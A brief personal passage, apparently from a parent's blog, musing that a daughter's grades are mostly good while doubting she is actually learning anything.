She gets official grade reports fairly often, which is good &#8211; and the grades are mostly good. I&#8217;m not convinced she&#8217;s actually learning anything, though. I hate to admit it, but right now, I kind of think it doesn&#8217;t matter if she&#8217;s learning, just as long as she gets good grades.
